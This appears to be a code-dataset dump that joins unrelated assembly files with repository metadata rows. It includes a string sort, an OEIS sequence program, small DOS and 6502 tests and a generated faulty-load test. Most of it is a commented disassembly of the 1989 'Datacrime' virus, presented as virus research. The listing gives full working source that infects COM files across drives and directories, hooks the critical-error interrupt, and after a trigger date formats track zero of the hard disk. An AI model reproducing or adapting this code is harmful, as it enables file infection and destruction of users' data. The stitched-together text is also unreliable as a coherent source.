invoke StdOut, addr mes2
mov ecx,n
xor ebx,ebx
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; IN
_while1:
push ecx
invoke StdIn, addr buf, 300
sub eax,2
mov [buf+eax],0
inc eax
mov ecx,eax
lea esi,buf
lea edi,TAB
add edi,ebx
cld
rep movsb
pop ecx
add ebx,10
loop _while1
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; SORT
_GLOBALWHILE:
mov flag,0
mov ind,0
;;;;;;;;;;;;;;;;;;;;;;;;;;;; min size
mov ecx,n
dec ecx
_while2:
push ecx
lea esi,TAB
lea edi,TAB
add esi,ind
add edi,ind
add edi,10
xor ecx,ecx
xor ebx,ebx
xor edx,edx
_size1:
inc esi
inc ebx
mov al,0
cmp [esi],al
jne _size1
mov siz1,ebx
_size2:
inc edi
inc edx
mov al,0
cmp [edi],al
jne _size2
mov siz2,edx
cmp ebx,edx
jl _les
mov ecx,edx
jmp _next1
_les:
mov ecx,ebx
_next1:
inc ecx
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; cmp
lea esi,TAB
lea edi,TAB
add esi,ind
add edi,ind
add edi,10
cld
repe cmpsb
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; swap
jle _met
mov flag,1
;invoke StdOut,addr warn
lea esi,TAB
add esi,ind
lea edi,tmp
mov ecx,siz1
inc ecx
cld
rep movsb
lea esi,TAB
add esi,ind
add esi,10
lea edi,TAB
add edi,ind
mov ecx,siz2
inc ecx
cld
rep movsb
lea esi,tmp
lea edi,TAB
add edi,ind
add edi,10
mov ecx,siz1
inc ecx
cld
rep movsb
_met:
add ind,10
pop ecx
dec ecx
cmp ecx,0
jne _while2
cmp flag,0
jne _GLOBALWHILE
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; OUT
xor ebx,ebx
lea edi, TAB
_while3:
invoke StdOut, edi
invoke StdOut, addr space
add edi, 10
inc ebx
cmp ebx,n
jne _while3
invoke StdIn, addr buf, 300
invoke ExitProcess, 0
MainProc endp
end MainProc
| 26.2 | 61 | 0.305125 |
7dbb3aed938c222342dda879c10bfcbb233bb5bd | 463 | asm | Assembly | programs/oeis/325/A325765.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/325/A325765.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/325/A325765.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A325765: Number of integer partitions of n with a unique consecutive subsequence summing to every positive integer from 1 to n.
; 1,1,1,2,1,3,1,3,2,3,1,5,1,3,3,4,1,5,1,5,3,3,1,7,2,3,3,5,1,7,1,5,3,3,3,8,1,3,3,7,1,7,1,5,5,3,1,9,2,5,3
mov $3,$0
mov $5,2
lpb $5
mov $0,$3
sub $5,1
add $0,$5
trn $0,1
seq $0,2541 ; a(n) = Sum_{k=1..n-1} floor((n-k)/k).
add $0,1
mov $2,$5
mul $2,$0
add $1,$2
mov $4,$0
lpe
min $3,1
mul $3,$4
sub $1,$3
mov $0,$1
| 21.045455 | 129 | 0.570194 |
0fe3b37d69153020fed63824c39429d848cf2356 | 368 | asm | Assembly | ubb/asc/written/repr.asm | AlexanderChristian/private_courses | c80f3526af539e35f93b460f3909f669aaef573c | [
"MIT"
] | null | null | null | ubb/asc/written/repr.asm | AlexanderChristian/private_courses | c80f3526af539e35f93b460f3909f669aaef573c | [
"MIT"
] | 6 | 2020-03-04T20:52:39.000Z | 2022-03-31T00:33:07.000Z | ubb/asc/written/repr.asm | AlexanderChristian/private_courses | c80f3526af539e35f93b460f3909f669aaef573c | [
"MIT"
] | null | null | null | assume cs:code, ds:data
data segment
a0 dd '12', '2'
a1 db 12,34,56,78
a2 dw 12h,34h,56h,78h
a3 dw 1234h, 5678h
a4 dd 1234h,5678h
a5 dd 12345678h
a6 dw 0abcdh
a7 db '12','34','56','78'
a8 db '12,34,56,78'
a9 dw '12','34','56','78'
a10 dw a2
a11 db '$'
data ends
code segment
start:
mov ax, data
mov ds, ax
mov ax, 4c00h
int 21h
code ends
end start
| 13.142857 | 26 | 0.638587 |
3d7a61318c02473a6db7ea141f61d0ab51914e26 | 594 | asm | Assembly | testdata/hmc-6502/jump_ret_test.asm | tehmaze/mos65xx | 60dbe6b949efcf197106eeae4382e084493a27b0 | [
"MIT"
] | 3 | 2019-10-24T09:41:14.000Z | 2021-12-12T08:11:52.000Z | testdata/hmc-6502/jump_ret_test.asm | tehmaze/mos65xx | 60dbe6b949efcf197106eeae4382e084493a27b0 | [
"MIT"
] | null | null | null | testdata/hmc-6502/jump_ret_test.asm | tehmaze/mos65xx | 60dbe6b949efcf197106eeae4382e084493a27b0 | [
"MIT"
] | 1 | 2020-11-11T17:11:54.000Z | 2020-11-11T17:11:54.000Z |
; Tests instructions JMP (both addressing modes) & JSR & RTS.
; Assumes that loads & stores & ORA work with all addressing modes.
;
; NOTE: Depends on addresses of instructions... Specifically, the "final"
; address is actually hard-coded at address $0020 (first 4 lines of code).
; Additionally, a JMP and JSR specify specific addresses.
;
; Expected Results: $40=0x42
start:
LDA #$24
STA $20
LDA #$06
STA $21
LDA #$00
ORA #$03
JMP jump1
ORA #$FF ; not done
jump1:
ORA #$30
JSR subr
ORA #$42
JMP ($0020)
ORA #$FF ; not done
subr:
STA $30
LDX $30
LDA #$00
RTS
final:
STA $0D,X
| 16.5 | 80 | 0.680135 |
8bf921e6b956085198ede0e4451fe716425638de | 852 | asm | Assembly | oeis/225/A225605.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/225/A225605.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/225/A225605.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A225605: (1) = least k such that 1/3 < H(k) - 1/3; a(2) = least k such that H(a(1)) - H(3) < H(k) -H(a(1)), and for n > 2, a(n) = least k such that H(a(n-1)) - H(a(n-2) > H(k) - H(a(n-1)), where H = harmonic number.
; Submitted by Jamie Morken(s4)
; 5,9,16,29,53,97,178,327,601,1105,2032,3737,6873,12641,23250,42763,78653,144665,266080,489397,900141,1655617,3045154,5600911,10301681,18947745,34850336,64099761,117897841,216847937,398845538,733591315,1349284789,2481721641,4564597744,8395604173,15441923557,28402125473,52239653202,96083702231,176725480905,325048836337,597858019472,1099632336713,2022539192521,3720029548705,6842201077938,12584769819163,23147000445805,42573971342905,78305741607872,144026713396581,264906426347357,487238881351809
add $0,3
seq $0,8937 ; a(n) = Sum_{k=0..n} T(k) where T(n) are the tribonacci numbers A000073.
add $0,1
| 106.5 | 496 | 0.754695 |
0f348c1602ec4965b6921ff653f8d79da9122b83 | 5,750 | asm | Assembly | Transynther/x86/_processed/AVXALIGN/_ht_zr_un_/i9-9900K_12_0xa0_notsx.log_21829_348.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/AVXALIGN/_ht_zr_un_/i9-9900K_12_0xa0_notsx.log_21829_348.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/AVXALIGN/_ht_zr_un_/i9-9900K_12_0xa0_notsx.log_21829_348.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r9
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_WC_ht+0x1c63d, %rsi
lea addresses_WC_ht+0x18bf5, %rdi
nop
and $53662, %r9
mov $117, %rcx
rep movsl
nop
nop
and $27166, %rbp
lea addresses_A_ht+0x676b, %r11
sub %rdi, %rdi
vmovups (%r11), %ymm2
vextracti128 $1, %ymm2, %xmm2
vpextrq $1, %xmm2, %rbp
nop
nop
and %rsi, %rsi
lea addresses_UC_ht+0x1af2d, %rcx
nop
nop
cmp %rsi, %rsi
movups (%rcx), %xmm3
vpextrq $1, %xmm3, %rdi
nop
nop
nop
nop
nop
xor $62075, %rsi
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %r9
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r12
push %r8
push %rbx
push %rdi
push %rdx
// Load
lea addresses_WT+0x13bf5, %rdx
nop
nop
sub $20454, %r12
mov (%rdx), %ebx
nop
dec %r8
// Store
lea addresses_PSE+0x14bf5, %r11
nop
nop
nop
nop
xor %rdi, %rdi
mov $0x5152535455565758, %r12
movq %r12, (%r11)
cmp $3275, %rdi
// Store
lea addresses_A+0x1fb55, %rdx
xor %r11, %r11
movw $0x5152, (%rdx)
nop
add $22448, %r10
// Store
lea addresses_RW+0x1bbf5, %r11
nop
nop
nop
nop
nop
sub %rdx, %rdx
mov $0x5152535455565758, %rbx
movq %rbx, (%r11)
nop
and $40665, %r11
// Faulty Load
lea addresses_PSE+0x14bf5, %rbx
nop
nop
nop
nop
nop
sub %r10, %r10
movaps (%rbx), %xmm3
vpextrq $1, %xmm3, %r11
lea oracles, %r10
and $0xff, %r11
shlq $12, %r11
mov (%r10,%r11,1), %r11
pop %rdx
pop %rdi
pop %rbx
pop %r8
pop %r12
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_PSE', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WT', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 11}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'type': 'addresses_PSE', 'AVXalign': False, 'size': 8, 'NT': False, 'same': True, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 5}}
{'OP': 'STOR', 'dst': {'type': 'addresses_RW', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 11}}
[Faulty Load]
{'src': {'type': 'addresses_PSE', 'AVXalign': True, 'size': 16, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_WC_ht', 'congruent': 3, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WC_ht', 'congruent': 11, 'same': False}}
{'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'size': 32, 'NT': False, 'same': True, 'congruent': 1}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 16, 'NT': False, 'same': True, 'congruent': 3}, 'OP': 'LOAD'}
{'48': 1, '40': 4, 'ff': 5, '87': 5, '42': 14, '59': 10, '45': 1, '28': 1, '86': 4, 'c1': 1, 'c8': 7, '00': 21776}
00 48 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
| 42.279412 | 2,999 | 0.650261 |
92674865d1af82201c7bed72d31b2004b1416a15 | 26,049 | asm | Assembly | MSDOS/Virus.MSDOS.Unknown.datacrim.asm | fengjixuchui/Family | 2abe167082817d70ff2fd6567104ce4bcf0fe304 | [
"MIT"
] | 3 | 2021-05-15T15:57:13.000Z | 2022-03-16T09:11:05.000Z | MSDOS/Virus.MSDOS.Unknown.datacrim.asm | fengjixuchui/Family | 2abe167082817d70ff2fd6567104ce4bcf0fe304 | [
"MIT"
] | null | null | null | MSDOS/Virus.MSDOS.Unknown.datacrim.asm | fengjixuchui/Family | 2abe167082817d70ff2fd6567104ce4bcf0fe304 | [
"MIT"
] | 3 | 2021-05-15T15:57:15.000Z | 2022-01-08T20:51:04.000Z | ;
; IMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM;
; : British Computer Virus Research Centre :
; : 12 Guildford Street, Brighton, East Sussex, BN1 3LS, England :
; : Telephone: Domestic 0273-26105, International +44-273-26105 :
; : :
; : The 'Datacrime' Virus :
; : Disassembled by Joe Hirst, May 1989 :
; : :
; : Copyright (c) Joe Hirst 1989. :
; : :
; : This listing is only to be made available to virus researchers :
; : or software writers on a need-to-know basis. :
; HMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM<
; The virus occurs attached to the end of a COM file. The first
; three bytes of the program are stored in the virus, and replaced
; by a branch to the beginning of the virus.
; The disassembly has been tested by re-assembly using MASM 5.0.
; Addressability is maintained by taking the offset from the
; initial jump to the virus. This is the length of the host minus
; three (length of the jump instruction). Three is subtracted
; from this figure (presumably the length of the original "host"
; program when the virus was released). The result is kept in
; register SI. Data addresses add SI+106H (COM origin of 100H
; + length of jump + length of initial host) to the offset of the
; data item within the virus.
; Note that if it does nothing else this virus will almost certainly
; screw up the critical error handler because:
; 1. There is a missing segment override on the restore of the
; original segment (presumably the result of inserting such
; overrides manually), and
; 2. If the virus looks at more than one disk it will reinstall
; the routine, overwriting the original saved vector with that
; of its own routine.
CODE SEGMENT BYTE PUBLIC 'CODE'
ASSUME CS:CODE,DS:CODE
ORG 09AH
DW009A DW ?
ORG 101H
DW0101 DW ?
; Start of virus - Set up relocation factor
ORG 0
START: MOV SI,CS:DW0101 ; Address initial jump to virus
SUB SI,3 ; Length of original host (?)
MOV AX,SI ; Copy relocation factor
CMP AX,0 ; Is it zero (initial release)?
JNE BP0012 ; Branch if not
JMP BP0110 ; Infection routine
; Restore host and test initial start month
BP0012: LEA DI,DB03D5[SI+106H] ; Address stored start of host
MOV BX,0100H ; Address beginning of host program
MOV CX,5 ; Word count
BP001C: MOV AX,[DI] ; Get next word
MOV [BX],AX ; Replace next word
ADD BX,2 ; Address next target word
ADD DI,2 ; Address next stored word
DEC CX ; Reduce count
JNZ BP001C ; Repeat for each word
MOV AH,2AH ; Get date function
INT 21H ; DOS service
MOV AL,CS:DB03EA[SI+106H] ; Get start month
CMP AL,DH ; Is it start month yet?
JG BP0040 ; Branch if not
MOV CS:DB03EA[SI+106H],0 ; Don't do test any more
JMP BP0045
; Pass control to host program
BP0040: MOV BX,0100H ; Address beginning of host program
JMP BX ; Branch to host program
; Are we in target part of year?
BP0045: MOV AX,CS:DW03E8[SI+106H] ; Get start month and day
CMP AX,DX ; Compare to actual
JL BP0051 ; Branch if after start date
JMP BP0110 ; Infection routine
; Is there a hard disk?
BP0051: MOV AX,0 ; Clear register
PUSH DS
MOV DS,AX ; Address segment zero
MOV BX,0106H ; Address Int 41H segment
MOV AX,[BX] ; Get Int 41H segment
POP DS
CMP AX,0 ; Is it zero (no hard disk)?
JNE BP0067 ; Branch if not
MOV BX,0100H ; Address beginning of host program
JMP BX ; Branch to host program
; Display message and format track zero, heads 0 - 8
BP0067: LEA BX,DB00E7[SI+106H] ; Address encrypted string
MOV CL,29H ; Load length of string
BP006D: MOV DL,CS:[BX] ; Get a character
XOR DL,55H ; Decrypt character
MOV AH,2 ; Display character function
INT 21H ; DOS service
INC BX ; Address next character
DEC CL ; Reduce count
JNZ BP006D ; Repeat for each character
MOV BX,OFFSET DW00A7+106H ; Address format buffer (no SI?)
MOV CH,0 ; Track zero
MOV DX,0080H ; Head zero, first hard disk
BP0084: MOV CH,0 ; Track zero
MOV AL,0 ; Load zero
MOV CL,6 ; \ Multiply zero by 64
SHL AL,CL ; /
MOV CL,AL ; Move result (zero)
OR CL,1 ; Now its one (and next line zero)
MOV AX,0500H ; Format track, interleave zero
INT 13H ; Disk I/O
JB BP009F ; Branch if error
INC DH ; Next head
CMP DH,9 ; Is it head nine?
JNE BP0084 ; Format if not
BP009F: MOV AH,2 ; Display character function
MOV DL,7 ; Beep
INT 21H ; DOS service
JMP BP009F ; Loop on beep
; Format table (required for ATs and PS/2s)
; Program does not in fact point to this because the reference
; to register SI is missing
DW00A7 DB 0, 01H, 0, 02H, 0, 03H, 0, 04H, 0, 05H, 0, 06H, 0, 07H, 0, 08H
DB 0, 09H, 0, 0AH, 0, 0BH, 0, 0CH, 0, 0DH, 0, 0EH, 0, 0FH, 0, 10H
DB 0, 11H, 0, 12H, 0, 13H, 0, 14H, 0, 15H, 0, 16H, 0, 17H, 0, 18H
DB 0, 19H, 0, 1AH, 0, 1BH, 0, 1CH, 0, 1DH, 0, 1EH, 0, 1FH, 0, 20H
; The next field decodes to:
; DB 'DATACRIME VIRUS', 0AH, 0DH
; DB 'RELEASED: 1 MARCH 1989', 0AH, 0DH
DB00E7 DB 11H, 14H, 01H, 14H, 16H, 07H, 1CH, 18H, 10H
DB 75H, 03H, 1CH, 07H, 00H, 06H, 5FH, 58H
DB 07H, 10H, 19H, 10H, 14H, 06H, 10H, 11H
DB 6FH, 75H, 64H, 75H, 18H, 14H, 07H, 16H
DB 1DH, 75H, 64H, 6CH, 6DH, 6CH, 5FH, 58H
; Start of infection routine
BP0110: MOV AH,19H ; Get current disk function
INT 21H ; DOS service
MOV CS:DB03F5[SI+106H],AL ; Save current disk
MOV AH,47H ; Get current directory function
MOV DX,0 ; Default disk
PUSH SI
LEA SI,DB03F6+1[SI+106H] ; Original directory store
INT 21H ; DOS service
POP SI
MOV CS:DB03EC[SI+106H],0 ; Set disk drive pointer to start
JMP BP0130 ; Select disk drive
; Select disk drive from table
BP0130: CALL BP0172 ; Install Int 24H routine
LEA BX,DB03E3[SI+106H] ; Address disk drive table
MOV AL,CS:DB03EC[SI+106H] ; Get disk drive pointer
INC CS:DB03EC[SI+106H] ; Update disk drive pointer
MOV AH,0 ; Clear top of register
ADD BX,AX ; Add disk drive pointer
MOV AL,CS:[BX] ; Get next disk drive
MOV DL,AL ; Move device for select
CMP AL,0FFH ; End of table?
JNE BP0151 ; Branch if not
JMP BP023C ; Tidy up and terminate
BP0151: MOV AH,0EH ; Select disk function
INT 21H ; DOS service
MOV AH,47H ; Get current directory function
MOV DL,0 ; Default drive
PUSH SI
LEA SI,DB0417+1[SI+106H] ; Current directory path name
INT 21H ; DOS service
POP SI
MOV BX,4 ; Address critical error
MOV AL,CS:[BX] ; Get critical error code
CMP AL,3 ; Was it three?
JNE BP01B7 ; Branch if not
MOV AL,0 ; \ Set it back to zero
MOV CS:[BX],AL ; /
JMP BP0130 ; Select next disk drive
; Install interrupt 24H routine
BP0172: XOR AX,AX ; Clear register
PUSH DS
MOV DS,AX ; Address segment zero
MOV BX,0090H ; Address Int 24H vector
MOV AX,[BX+2] ; Get Int 24H segment
MOV CS:DW03CF[SI+106H],AX ; Save Int 24H segment
MOV AX,[BX] ; Get Int 24H offset
MOV CS:DW03D1[SI+106H],AX ; Save Int 24H offset
MOV AX,CS ; Get current segment
MOV [BX+2],AX ; Set new Int 24H segment
LEA AX,BP01AE[SI+106H] ; Int 24H routine
MOV [BX],AX ; Set new Int 24H offset
POP DS
RET
; Restore original interrupt 24H
BP0196: XOR AX,AX ; Clear register
PUSH DS
MOV DS,AX ; Address segment zero
MOV BX,0090H ; Address Int 24H vector
MOV AX,CS:DW03CF[SI+106H] ; Get Int 24H segment
MOV [BX+2],AX ; Restore Int 24H segment
MOV AX,DW03D1[SI+106H] ; Get Int 24H offset (missing CS:)
MOV [BX],AX ; Restore Int 24H offset
POP DS
RET
; Interrupt 24H routine
BP01AE: MOV AL,3 ; Fail the system call
MOV BX,4 ; Address critical error byte
MOV CS:[BX],AL ; Save code
IRET
BP01B7: CALL BP02DA ; Find and infect a file
MOV AL,CS:DB03EB[SI+106H] ; Get infection completed switch
CMP AL,1 ; Is it on?
JNE BP01C6 ; Branch if not
JMP BP023C ; Tidy up and terminate
BP01C6: CALL BP0260 ; Get next directory
JNB BP01CE ; Branch if found
JMP BP0130 ; Select next disk drive
BP01CE: MOV CX,0040H ; Maximum characters to copy
PUSH SI
DEC DI ; \
DEC DI ; ) Address back to '*.*'
DEC DI ; /
MOV WORD PTR [DI],'\ ' ; Word reversed, but overwritten soon
MOV SI,BX ; Address file name
CLD
BP01DC: LODSB ; \ Copy a character
STOSB ; /
DEC CX ; Decrement count
CMP AL,0 ; Was last character zero?
JNE BP01DC ; Next character if not
POP SI
MOV AH,3BH ; Change current directory function
LEA DX,DB0438[SI+106H] ; Directory pathname
INT 21H ; DOS service
CALL BP02DA ; Find and infect a file
MOV AL,CS:DB03EB[SI+106H] ; Get infection completed switch
CMP AL,1 ; Is it on?
JE BP023C ; Tidy up and terminate if yes
CALL BP0260 ; Get next directory
JNB BP01CE ; Branch if found
MOV AH,3BH ; Change current directory function
LEA DX,DB0417[SI+106H] ; Current directory path name
INT 21H ; DOS service
INC CS:DB03E2[SI+106H] ; Increment directory count
CALL BP0260 ; Get next directory
JB BP023C ; Branch if not found
MOV AL,CS:DB03E2[SI+106H] ; Get directory count
BP0214: CMP AL,0 ; Is directory count zero yet?
JNE BP021D ; Branch if not
ADD BX,9 ; ???
JMP BP01CE ; ??? Add directory name to path
BP021D: MOV AH,4FH ; Find next file function
PUSH AX
INT 21H ; DOS service
POP AX
JNB BP0228 ; Branch if no error
JMP BP0130 ; Select next disk drive
BP0228: PUSH AX
MOV AH,2FH ; Get DTA function
INT 21H ; DOS service
ADD BX,15H ; Address attributes byte
MOV AL,10H ; Directory attribute
CMP CS:[BX],AL ; Is it a directory?
POP AX
JNE BP021D ; Branch if not
DEC AL ; Decrement directory count
JMP BP0214
; Reset disk and directory, and pass control to host
BP023C: MOV AH,0EH ; Select disk function
MOV DL,CS:DB03F5[SI+106H] ; Get original current disk
INT 21H ; DOS service
MOV AH,3BH ; Change current directory function
LEA DX,DB03F6[SI+106H] ; Original directory
INT 21H ; DOS service
CALL BP0196 ; Restore Int 24H
MOV AX,SI ; Copy relocation factor
CMP AX,0 ; Is it zero (initial release)?
JE BP025C ; Terminate 8f not
MOV BX,0100H ; Address beginning of host program
JMP BX ; Branch to host program
; Terminate
BP025C: MOV AH,4CH ; End process function
INT 21H ; DOS service
; Get next directory
BP0260: LEA DI,DB0438+1[SI+106H] ; Directory pathname
MOV CX,003AH ; Length to clear
MOV AL,0 ; Set to zero
CLD
REPZ STOSB ; Clear pathname area
MOV AH,47H ; Get current directory function
PUSH SI
MOV DX,0 ; Current drive
LEA SI,DB0438+1[SI+106H] ; Directory pathname
INT 21H ; DOS service
POP SI
CLD
LEA DI,DB0438+1[SI+106H] ; Directory pathname
MOV CX,0040H ; Length to search
MOV AL,0 ; Search for zero
REPNZ SCASB ; Search for end of pathname
JZ BP0289 ; Branch if found
STC
RET
; Set file name wildcard on path
BP0289: DEC DI ; \ Back two positions
DEC DI ; /
MOV AL,[DI] ; Get character
CMP AL,'\' ; Does path end in dir delim?
JE BP0294 ; Branch if yes
INC DI ; Next position
MOV AL,'\' ; Make next character a dir delim
BP0294: MOV [DI],AL ; Store character
INC DI ; Next position
MOV AL,'*' ; All files
MOV [DI],AL ; Store character
INC DI ; Next position
MOV AL,'.' ; Extension
MOV [DI],AL ; Store character
INC DI ; Next position
MOV AL,'*' ; all extensions
MOV [DI],AL ; Store character
INC DI ; Next position
LEA DX,DB0438[SI+106H] ; Address directory pathname
MOV AH,4EH ; Find first file function
MOV CX,0010H ; Find directories
INT 21H ; DOS service
JNB BP02B4 ; Branch if no error
RET
; Valid directories only
BP02B4: MOV AH,2FH ; Get DTA function
INT 21H ; DOS service
ADD BX,15H ; Address attribute byte
MOV AL,10H ; Directory attribute
CMP CS:[BX],AL ; Is it a directory?
JNE BP02D2 ; Branch if not
CLC
MOV AH,2FH ; Get DTA function
INT 21H ; DOS service
ADD BX,1EH ; Address directory name
MOV AL,'.' ; Prepare to test first byte
CMP CS:[BX],AL ; Is it a pointer to another dir?
JE BP02D2 ; Branch if yes
RET
BP02D2: MOV AH,4FH ; Find next file function
INT 21H ; DOS service
JNB BP02B4 ; Branch if no error
STC
RET
; Find and infect a file
BP02DA: MOV CS:DB03EB[SI+106H],0 ; Set infection completed switch off
MOV AH,4EH ; Find first file function
MOV CX,7 ; All files
LEA DX,DB03ED[SI+106H] ; Address '*.COM'
INT 21H ; DOS service
JNB BP02F6 ; Branch if no error
RET
BP02EF: MOV AH,4FH ; Find next file function
INT 21H ; DOS service
JNB BP02F6 ; Branch if no error
RET
; Exclude COMMAND.COM
BP02F6: MOV BX,00A4H ; Address seventh letter of name
MOV AL,[BX] ; Get character
CMP AL,'D' ; Is it a 'D' (as in COMMAND.COM)?
JNE BP0301 ; Branch if not
JMP BP02EF ; Next file
; Is it already infected?
BP0301: MOV BX,0096H ; Address time of file
MOV CX,[BX] ; Get time of file
ADD BX,2 ; Address date of file
MOV DX,[BX] ; Get date of file
MOV AL,CL ; Copy low byte of time
AND AL,0E0H ; Isolate low part of minutes
MOV AH,AL ; Copy low part of minutes
SHR AL,1 ; \
SHR AL,1 ; \
SHR AL,1 ; ) Move mins to secs position
SHR AL,1 ; /
SHR AL,1 ; /
OR AL,AH ; Combine with minutes
